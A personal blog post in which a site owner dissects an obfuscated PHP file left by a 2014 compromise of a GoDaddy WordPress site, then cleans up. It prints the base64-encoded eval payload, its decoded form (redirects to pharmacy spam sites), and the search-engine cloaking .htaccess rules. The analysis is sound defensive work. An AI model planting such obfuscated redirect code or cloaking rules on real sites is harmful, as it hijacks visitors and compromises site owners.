Monday, December 22, 2014

Spelling “lave” backwards is “eval”

Found an unusual PHP file hiding in the root directory of my personal website, "s-g.txt".  The file contains PHP code and last line contains "lave" which for some reason, the human brain quickly converts into "eval" and that's suspicious, so it's time to tear this apart. 

Note: Despite my attempts to post the original script here, blog system rejects. ?  It is below without scrambling.

First thoughts

The function names start with "wp".  Once upon a time, I had hosted my personal blog via WordPress on my own website, but I got spam comments constantly so deleted the entire blog and removed WordPress.  Could this be leftovers from the removal of that blog?  When was the file created?
 "ls -l s-g.txt"
-rwx---r-x 1 joenord inetuser 807 Aug 13 02:52 s-g.txt

Okay, on August 13, 2014 at 02:52am Phoenix time, someone or some program did evil to my site.  A bit surprising though is the file permissions, readable to the world makes sense, but executable to the world, that's odd.  I later learn that this is happening by default for all txt files created, so perhaps not related.

Getting back to execute permissions, the contents are PHP which means that execute permissions should not be needed for the contents to be read by the PHP engine so whether execute permissions are there or not, it will run if handed to PHP.

Next item, what does that "create_function" do?

Create_function - Create an anonymous (lambda-style) function

string create_function ( string $args , string $code )

This function internally performs an eval() and as such has the same security issues as eval().
Yeah, that's bad.  More information on create_function, Parameters
Usually these parameters will be passed as single quote delimited strings. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$avar.

Survey of the suspicious file says, there are double-quotes, more not good. Time to inspect the actual program operation.  Two lines of PHP code and I think I'm looking at an obfuscated 'C' contest.  The contents of the file are scrambled by reversing all characters in the function and storing the characters base64 encoded.  Borrowing some help from PHP, strrev does the first step of reversal, producing...

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHVuaXFfcmVmPUAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCmlmKHByZWdfbWF0Y2goJy9wcm9wZWNpYXxmaW5hc3RlcmlkZS9pJywgJHVuaXFfcmVmKSA+IDApIHsgDQoJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3AtcGhhcm1hY3kuY29tL29yZGVyLXByb3BlY2lhLW9ubGluZS1lbi5odG1sIik7IA0KCWV4aXQ7IA0KfWVsc2VpZihwcmVnX21hdGNoKCcvY2lhbGlzfGNpYWxhc3xjaWxpc3x0YWRhbGFmaWx8Y2lhbGlzfGNpYWxsaXN8Y2lhbGlzc3xjaWFscy9pJywgJHVuaXFfcmVmKSA+IDApIHsgDQoJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3d3dy5tZWRzY2hlYXBvbmwuY29tL29yZGVyLWNpYWxpcy1vbmxpbmUtZW4uaHRtbCIpOyANCglleGl0OyANCn1lbHNleyANCgloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3Lm1lZHNjaGVhcG9ubC5jb20vb3JkZXItdmlhZ3JhLW9ubGluZS1lbi5odG1sIik7IA0KCWV4aXQ7IA0KfQ=="));

Close, but what I really want is the decoded form of the gibberish.  Base64_decode() and a bit of hand editing produces
$wp_function_initialize = create_function('$a', eval("{
    error_reporting(0);
    $uniq_ref=@$_SERVER['REQUEST_URI'];
       
    if(preg_match('/propecia|finasteride/i', $uniq_ref) > 0)
    {
        header("Location: http://p-pharmacy.com/order-propecia-online-en.html");
        exit;
    }  elseif(preg_match('/cialis|cialas|cilis|tadalafil|cialis|ciallis|cialiss|cials/i', $uniq_ref) > 0)
    {
        header("Location: http://www.medscheaponl.com/order-cialis-online-en.html");
        exit;
    }
    else
    {
        header("Location: http://www.medscheaponl.com/order-viagra-online-en.html");
        exit;
    }
}
"));

Yes, evil

Yup, this could explain all those advertisements that were showing up in the comments of my blogs.   Keep inspecting.

What does that header() call do?  Documentation says that the location keyword is used to transfer web browser to another website and then return control to the calling PHP code, where a call to exit exists to end the script.

If operates as documentation says, then this will permit evil doer to adjust the spam content well after infecting the website.  Possibly though, if the PHP interpreter reaches out, gets raw html and then processes itself, then here's a chance where arbitrary execution could occur.  Either way, it's not good and has to go. 

.txt files - These are not supposed to execute as PHP

The website is hosted at Godaddy using their Linux hosting, txt file extension fetched from a web browser would normally not be processed as PHP.  Try it and Survey Says, that they are not being processed as PHP - so there is no security issue, presently.  ??  Paranoia and diagnosis for nothing?  Something tells me there is more to this story and if you know, please add in the comments.

Cause

Armed with information from tearing the script apart, I find the issue detailed here, where it is shown as the WordPress issues that GoDaddy experienced earlier in this year (2014).  Assume for the moment that GoDaddy neutered the script - why the this garbage still in the root directory of my website!

Actions to clean, remove suspect lines from .htaccess and erase suspect files.  "Eli" on this blog has a tool for securing WordPress.  If ever install WordPress again, should consider installing Eli's defense plugin

Cleaning up

Looks like GoDaddy already removed the evil, but left some files behind.

.htaccess has extra items, these should be erased or commented
# RewriteEngine On
# RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
# RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
# RewriteRule ^([^/]*)/$ /starting.php?p=$1 [L]
Extra files exist in the html root, these should be erased
gdd-webform.php
gddform.php
h-s.txt
s-g.txt
starting.php

Bottom line

Today, I do not have an issue - at least I do not have this issue.  On August 13th 2014, I did though and now, 4 months later, I spend a few hours dismantling the scripts to see what's happening.  It was entertaining, so I share for all.

No comments: